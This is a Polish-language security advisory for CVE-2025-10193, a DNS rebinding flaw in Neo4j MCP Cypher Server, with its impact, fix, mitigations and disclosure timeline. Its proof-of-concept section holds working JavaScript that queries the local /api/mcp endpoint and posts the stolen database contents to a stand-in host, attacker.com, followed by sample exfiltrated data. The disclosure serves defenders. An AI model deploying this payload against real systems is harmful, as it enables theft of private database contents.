Autor: Evan Harris
Komponent, którego dotyczy problem: Neo4j MCP Cypher Server
Podatne wersje: od 0.2.2 do 0.3.1
CVE: CVE-2025-10193
Ocena CVSS 4.0: 7.4 (Wysoka) - CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:A/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N

Przegląd

Neo4j MCP Cypher Server udostępnia punkt końcowy HTTP do wykonywania zapytań Cypher w bazie danych Neo4j.

MCPSec wykrył w serwerze podatność typu DNS rebinding, która pozwala zdalnym atakującym obejść zasady bezpieczeństwa przeglądarki i wykonywać dowolne zapytania Cypher w instancji bazy danych dostępnej przez MCP.

Neo4j naprawił ten problem w wydaniu v0.4.0. Wszyscy użytkownicy podatnych wersji powinni niezwłocznie zaktualizować oprogramowanie.


Inne narzędzia opisane na tej stronie zawodzą w ten sam sposób: Podatność DNS rebinding w transporcie SSE serwera Vet MCP i Eksfiltracja i zniszczenie danych w MLflow z powodu braku walidacji Origin (DNS rebinding).

Skutki

Atakujący uzyskują pełny dostęp POST do punktu końcowego /api/mcp obsługiwanego przez lokalny Neo4j MCP Cypher Server.

Umożliwia to nieautoryzowane wykonanie dowolnego zapytania Cypher, co w praktyce daje atakującemu pełną kontrolę administracyjną nad bazą danych Neo4j. Może to prowadzić do:

  • Całkowitej eksfiltracji poufnych informacji przechowywanych w bazie danych.
  • Nieautoryzowanej modyfikacji danych lub ich uszkodzenia.
  • Usunięcia danych oraz odmowy usługi.

Atak DNS rebinding może zostać przeprowadzony w ciągu kilku sekund od momentu, gdy ofiara odwiedzi złośliwą stronę internetową, i wymaga jedynie, aby podatny serwer był uruchomiony lokalnie.

Proof of Concept

Scenariusz ataku zakłada, że:

  • Ofiara uruchamia podatną wersję Neo4j MCP Cypher Server na swoim komputerze lokalnym.
  • Ofiara przechodzi na złośliwą stronę internetową kontrolowaną przez atakującego.
  • Strona internetowa przeprowadza atak DNS rebinding, nakłaniając przeglądarkę ofiary do wysyłania poleceń do serwera Neo4j.

Po zakończeniu rebindingu atakujący może wykorzystać przeglądarkę ofiary do wysyłania złośliwych zapytań Cypher do lokalnie obsługiwanego punktu końcowego /api/mcp. Dane mogą następnie zostać wyeksfiltrowane na serwer atakującego albo poddane manipulacji i usunięciu.

MCPSec przeprowadził atak proof of concept, wykonując następujące kroki:

  1. Wdrożenie aplikacji do DNS rebinding (np. Singularity of Origin).

  2. Zbudowanie ładunku JavaScript obsługiwanego przez złośliwą stronę internetową w celu wykonania zapytania i eksfiltracji danych.

const Neo4jRebind = () => {
  // The core attack function. It sends a malicious Cypher query.
  function attack(headers, cookie, body) {
    const maliciousQuery = 'MATCH (n) RETURN n LIMIT 100'; // Query to dump all nodes
    fetch('http://localhost:8000/api/mcp', {
      method: 'POST',
      headers: {
        'Content-Type': 'application/json',
        'Accept': 'application/json, text/event-stream',
        'Connection': 'keep-alive',
        'Cache-Control': 'no-cache'
      },
      body: JSON.stringify({ query: maliciousQuery })
    }).then(response => {
      const ATTACKER_SERVER = 'https://attacker.com/steal-neo4j-data';
      response.text().then(databaseContents => {
        // Send the stolen database contents to the attacker's server
        fetch(ATTACKER_SERVER, {
          method: 'POST',
          body: JSON.stringify(databaseContents)
        });
      }).catch(e => console.error('Failed to parse Neo4j response', e));
    }).catch(e => console.error("Failed to post Cypher query", e));
  }

  // Function to check if the rebound service is the target Neo4j server
  async function isService(headers, cookie, body) {
    try {
      const response = await fetch(`http://localhost:8000/`, { mode: 'no-cors' });
      // A successful ping (even opaque) suggests the port is open.
      return true;
    } catch (e) {
      return false;
    }
  }

  return {
    attack,
    isService
  }
}

Registry["Neo4jRebind"] = Neo4jRebind();
  1. Uruchomienie serwera zbierającego dane, który odbierze żądanie POST zawierające skradzioną zawartość bazy danych.

Poniżej znajduje się przykład danych JSON wyeksfiltrowanych z bazy danych ofiary, zawierających potencjalnie poufne informacje o użytkownikach.

{
  "results": [
    {
      "columns": ["n"],
      "data": [
        {
          "row": [
            {
              "name": "Evan Harris",
              "email": "evan.harris@example.com",
              "role": "admin",
              "password_hash": "sha256:abc123def456..."
            }
          ],
          "meta": [{...}]
        },
        {
          "row": [
            {
              "project": "Project Titan",
              "api_key": "neo-secret-key-xyz789",
              "status": "active"
            }
          ],
          "meta": [{...}]
        }
      ]
    }
  ],
  "errors": []
}

Zalecane środki zaradcze

Dla użytkowników (natychmiast)

  • Niezwłocznie zaktualizuj mcp-neo4j-cypher do wersji v0.4.0 lub nowszej. Ta wersja zawiera poprawkę, która waliduje nagłówek HTTP Host, aby zapobiec temu atakowi.
  • Jeśli nie możesz zaktualizować, przełącz się z HTTP na stdio. Alternatywnie umieść przed swoim Neo4j Cypher MCP Server filtr żądań sieciowych, aby chronić się przed nieprawidłowymi nagłówkami host.

Ta podatność została zgłoszona zespołowi Neo4j zgodnie z praktykami odpowiedzialnego ujawniania. Zespół zareagował szybko, aby zweryfikować i naprawić problem.


Oś czasu ujawnienia

  • 2025-09-08: Neo4j potwierdza otrzymanie zgłoszenia.
  • 2025-09-09: Neo4j uznaje ryzyko wynikające z tego wektora ataku.
  • 2025-09-09: Zespołowi Neo4j przekazano szczegółowe wskazówki i przykłady naprawy.
  • 2025-09-09: Neo4j tworzy pull request ze środkami obronnymi.
  • 2025-09-11: Wydana zostaje poprawiona wersja v0.4.0.
  • 2025-09-11: Zostaje przydzielone CVE-2025-10193 oraz opublikowane GitHub Security Advisory.
  • 2025-09-12: Uzgodniono datę publikacji poradnika technicznego.
  • 2025-10-13: Poradnik techniczny opublikowany.

Podsumowanie

Podatność typu DNS rebinding w Neo4j MCP Cypher Server uwidacznia wysokie ryzyko bezpieczeństwa w przypadku narzędzi deweloperskich, które udostępniają lokalne interfejsy baz danych. Choć usługi te oferują zaawansowaną funkcjonalność lokalną, mogą stać się bramą do ataków sieciowych, jeśli nie zostaną odpowiednio zabezpieczone. Może to prowadzić do całkowitej kompromitacji poufnych danych.

Wyrazy uznania dla zespołu Neo4j za profesjonalną i szybką reakcję przy naprawianiu tej podatności. Wszyscy użytkownicy dotkniętego komponentu powinni zaktualizować oprogramowanie do najnowszej wersji, aby zapewnić ochronę swoich danych.

Materiały źródłowe